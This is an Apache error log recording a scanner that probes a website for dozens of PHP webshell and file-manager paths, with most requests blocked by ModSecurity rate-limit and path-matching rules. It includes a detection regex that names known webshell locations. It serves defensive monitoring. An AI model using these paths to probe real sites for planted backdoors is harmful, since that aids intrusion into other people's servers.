[Thu Apr 16 20:29:51.629895 2026] [:error] [pid 7880:tid 7887] [client 4.225.163.126:65507] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeDWP6aezm4fSGc0yUKYtgAAAYI"]
[Thu Apr 16 20:29:54.245287 2026] [:error] [pid 7880:tid 7902] [client 4.225.163.126:64908] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeDWQqaezm4fSGc0yUKYvgAAAZE"]
[Thu Apr 16 20:29:55.043065 2026] [:error] [pid 49094:tid 49110] [client 4.225.163.126:64454] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeDWQzbDwvcXorHR_My_XgAAAU4"]
[Thu Apr 16 20:29:57.562482 2026] [:error] [pid 57639:tid 57664] [client 4.225.163.126:64464] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeDWRaMCQoTw7TsxWumA5AAAANI"]
[Thu Apr 16 20:29:58.555628 2026] [:error] [pid 57537:tid 57579] [client 4.225.163.126:64890] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeDWRlVQRS8nm73ENAmvygAAAEQ"]
[Thu Apr 16 20:29:59.500474 2026] [:error] [pid 57537:tid 57590] [client 4.225.163.126:64166] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeDWR1VQRS8nm73ENAmvywAAAE8"]
[Thu Apr 16 20:30:00.646200 2026] [:error] [pid 57537:tid 57588] [client 4.225.163.126:64506] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeDWSFVQRS8nm73ENAmvzQAAAE0"]
[Thu Apr 16 20:30:02.717933 2026] [:error] [pid 57639:tid 57662] [client 4.225.163.126:64153] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeDWSqMCQoTw7TsxWumA9AAAANA"]
[Thu Apr 16 20:30:05.552706 2026] [:error] [pid 57639:tid 57649] [client 4.225.163.126:64574] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeDWTaMCQoTw7TsxWumBAAAAAMM"]
[Thu Apr 16 20:30:06.887313 2026] [:error] [pid 57639:tid 57656] [client 4.225.163.126:64138] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeDWTqMCQoTw7TsxWumBDAAAAMo"]
[Thu Apr 16 20:30:08.760872 2026] [:error] [pid 7880:tid 7887] [client 4.225.163.126:64482] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeDWUKaezm4fSGc0yUKYwwAAAYI"]
[Thu Apr 16 20:30:10.193514 2026] [:error] [pid 57639:tid 57646] [client 4.225.163.126:64548] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeDWUqMCQoTw7TsxWumBGwAAAMA"]
[Thu Apr 16 20:30:11.094882 2026] [:error] [pid 49094:tid 49099] [client 4.225.163.126:65109] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeDWUzbDwvcXorHR_My_bwAAAUM"]
[Thu Apr 16 20:30:12.458147 2026] [:error] [pid 57536:tid 57558] [client 4.225.163.126:64545] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeDWVCQU4faGja6jpDtnUQAAAAo"]
[Thu Apr 16 20:30:15.041982 2026] [:error] [pid 57639:tid 57670] [client 4.225.163.126:65211] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeDWV6MCQoTw7TsxWumBMQAAANg"]
[Thu Apr 16 20:30:16.112405 2026] [:error] [pid 57639:tid 57646] [client 4.225.163.126:64551] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeDWWKMCQoTw7TsxWumBNwAAAMA"]
[Thu Apr 16 20:30:17.007372 2026] [:error] [pid 49094:tid 49115] [client 4.225.163.126:64859] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeDWWTbDwvcXorHR_My_gwAAAVM"]
[Thu Apr 16 20:30:17.851708 2026] [:error] [pid 49094:tid 49104] [client 4.225.163.126:64132] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeDWWTbDwvcXorHR_My_iQAAAUg"]
[Thu Apr 16 20:30:19.329310 2026] [:error] [pid 29603:tid 29627] [client 4.225.163.126:65525] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeDWW1fGOR6fpTWUAzqKAgAAARY"]
[Thu Apr 16 20:30:20.284752 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:65115] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeDWXKMCQoTw7TsxWumBQAAAAMI"]
[Thu Apr 16 20:30:21.783683 2026] [:error] [pid 57536:tid 57556] [client 4.225.163.126:64839] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeDWXSQU4faGja6jpDtnZAAAAAg"]
[Thu Apr 16 20:30:23.136349 2026] [:error] [pid 49094:tid 49109] [client 4.225.163.126:65496] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeDWXzbDwvcXorHR_My_kAAAAU0"]
[Thu Apr 16 20:30:26.209385 2026] [:error] [pid 49094:tid 49097] [client 4.225.163.126:64950] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeDWYjbDwvcXorHR_My_mgAAAUE"]
[Thu Apr 16 20:30:28.640498 2026] [:error] [pid 7880:tid 7900] [client 4.225.163.126:64933] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeDWZKaezm4fSGc0yUKY7AAAAY8"]
[Thu Apr 16 20:30:34.157050 2026] [:error] [pid 57639:tid 57646] [client 4.225.163.126:65495] File does not exist: /usr/local/apache/htdocs/suspended-page/tx79.php
[Thu Apr 16 20:30:34.440069 2026] [:error] [pid 57639:tid 57659] [client 4.225.163.126:65495] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Thu Apr 16 20:30:34.972506 2026] [:error] [pid 57639:tid 57653] [client 4.225.163.126:65495] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Thu Apr 16 20:30:35.235883 2026] [:error] [pid 57639:tid 57661] [client 4.225.163.126:65495] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Thu Apr 16 20:30:35.931501 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:65495] [client 4.225.163.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aeDWa6MCQoTw7TsxWumBXAAAAMU"]
[Thu Apr 16 20:30:38.413746 2026] [:error] [pid 29603:tid 29607] [client 4.225.163.126:64458] File does not exist: /usr/local/apache/htdocs/suspended-page/eFpU3yHnriNNLtvdefault.php
[Thu Apr 16 20:30:38.679905 2026] [:error] [pid 29603:tid 29624] [client 4.225.163.126:64458] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Thu Apr 16 20:30:38.967306 2026] [:error] [pid 29603:tid 29618] [client 4.225.163.126:64458] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Thu Apr 16 20:30:39.265995 2026] [:error] [pid 29603:tid 29605] [client 4.225.163.126:64458] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Thu Apr 16 20:30:39.650208 2026] [:error] [pid 29603:tid 29626] [client 4.225.163.126:64458] File does not exist: /usr/local/apache/htdocs/suspended-page/footer.php
[Thu Apr 16 20:30:39.912802 2026] [:error] [pid 29603:tid 29622] [client 4.225.163.126:64458] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeDWb1fGOR6fpTWUAzqKOgAAARE"]
[Thu Apr 16 20:30:42.442748 2026] [:error] [pid 57538:tid 57619] [client 4.225.163.126:64851] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeDWcsuMaiEF5SVR2BfXvQAAAJE"]
[Thu Apr 16 20:30:44.518725 2026] [:error] [pid 57639:tid 57649] [client 4.225.163.126:65515] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeDWdKMCQoTw7TsxWumBYgAAAMM"]
[Thu Apr 16 20:30:46.202774 2026] [:error] [pid 7880:tid 7891] [client 4.225.163.126:65503] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aeDWdqaezm4fSGc0yUKZBAAAAYY"]
[Thu Apr 16 20:30:49.192124 2026] [:error] [pid 29603:tid 29620] [client 4.225.163.126:64173] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeDWeVfGOR6fpTWUAzqKOwAAAQ8"]
[Thu Apr 16 20:30:52.098376 2026] [:error] [pid 57536:tid 57554] [client 4.225.163.126:63880] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeDWfCQU4faGja6jpDtnwwAAAAY"]
[Thu Apr 16 20:30:57.660553 2026] [:error] [pid 57639:tid 57660] [client 4.225.163.126:65478] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aeDWgaMCQoTw7TsxWumBeAAAAM4"]
[Thu Apr 16 20:31:09.668863 2026] [:error] [pid 7880:tid 7902] [client 4.225.163.126:64165] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeDWjaaezm4fSGc0yUKZJQAAAZE"]
[Thu Apr 16 20:31:12.072899 2026] [:error] [pid 57536:tid 57571] [client 4.225.163.126:65202] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeDWkCQU4faGja6jpDtoFAAAABc"]
[Thu Apr 16 20:31:27.369921 2026] [:error] [pid 57536:tid 57549] [client 4.225.163.126:65183] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aeDWnyQU4faGja6jpDtoWgAAAAE"]
[Thu Apr 16 20:31:43.649690 2026] [:error] [pid 7880:tid 7903] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Thu Apr 16 20:31:44.096680 2026] [:error] [pid 7880:tid 7886] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/roksad1.php
[Thu Apr 16 20:31:44.384074 2026] [:error] [pid 7880:tid 7892] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Thu Apr 16 20:31:44.676555 2026] [:error] [pid 7880:tid 7890] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu Apr 16 20:31:45.036482 2026] [:error] [pid 7880:tid 7909] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 16 20:31:45.346843 2026] [:error] [pid 7880:tid 7891] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Thu Apr 16 20:31:45.663015 2026] [:error] [pid 7880:tid 7904] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Thu Apr 16 20:31:45.983892 2026] [:error] [pid 7880:tid 7899] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Thu Apr 16 20:31:46.272941 2026] [:error] [pid 7880:tid 7900] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Thu Apr 16 20:31:46.562348 2026] [:error] [pid 7880:tid 7886] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/maxro.php
[Thu Apr 16 20:31:46.850623 2026] [:error] [pid 7880:tid 7908] [client 4.225.163.126:65176] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 16 20:31:47.223161 2026] [:error] [pid 7880:tid 7902] [client 4.225.163.126:65176] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeDWs6aezm4fSGc0yUKZZgAAAZE"]
[Thu Apr 16 20:31:48.183574 2026] [:error] [pid 49094:tid 49100] [client 4.225.163.126:65126] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeDWtDbDwvcXorHR_MzAiAAAAUQ"]
[Thu Apr 16 20:31:56.884648 2026] [:error] [pid 49094:tid 49112] [client 4.225.163.126:64514] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeDWvDbDwvcXorHR_MzAtQAAAVA"]
[Thu Apr 16 20:32:00.019160 2026] [:error] [pid 49094:tid 49106] [client 4.225.163.126:65516] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeDWwDbDwvcXorHR_MzAxgAAAUo"]
[Thu Apr 16 20:32:01.092114 2026] [:error] [pid 57536:tid 57557] [client 4.225.163.126:65135] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "aeDWwSQU4faGja6jpDtogAAAAAk"]
[Thu Apr 16 20:32:06.075857 2026] [:error] [pid 29603:tid 29620] [client 4.225.163.126:65481] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "aeDWxlfGOR6fpTWUAzqKqAAAAQ8"]
[Thu Apr 16 20:32:16.054489 2026] [:error] [pid 57639:tid 57664] [client 4.225.163.126:64946] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeDW0KMCQoTw7TsxWumCLAAAANI"]
[Thu Apr 16 20:32:18.142548 2026] [:error] [pid 29603:tid 29617] [client 4.225.163.126:64852] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeDW0lfGOR6fpTWUAzqK1AAAAQw"]
[Thu Apr 16 20:32:19.719765 2026] [:error] [pid 49094:tid 49098] [client 4.225.163.126:65155] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeDW0zbDwvcXorHR_MzBPgAAAUI"]
[Thu Apr 16 20:32:22.691930 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:64144] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeDW1qMCQoTw7TsxWumCOgAAANM"]
[Thu Apr 16 20:32:48.459880 2026] [:error] [pid 57536:tid 57560] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/ws87.php
[Thu Apr 16 20:32:48.768979 2026] [:error] [pid 57536:tid 57572] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Thu Apr 16 20:32:49.055017 2026] [:error] [pid 57536:tid 57571] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/r2.php
[Thu Apr 16 20:32:49.458962 2026] [:error] [pid 57536:tid 57557] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/ah25.php
[Thu Apr 16 20:32:49.723938 2026] [:error] [pid 57536:tid 57548] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/006.php
[Thu Apr 16 20:32:49.988585 2026] [:error] [pid 57536:tid 57554] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/samll.php
[Thu Apr 16 20:32:50.254935 2026] [:error] [pid 57536:tid 57564] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/zogy1.php
[Thu Apr 16 20:32:50.548460 2026] [:error] [pid 57536:tid 57567] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/aios-bootstrap.php
[Thu Apr 16 20:32:50.961995 2026] [:error] [pid 57536:tid 57551] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Thu Apr 16 20:32:51.748329 2026] [:error] [pid 57536:tid 57556] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/gz.php
[Thu Apr 16 20:32:52.016739 2026] [:error] [pid 57536:tid 57550] [client 4.225.163.126:64130] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
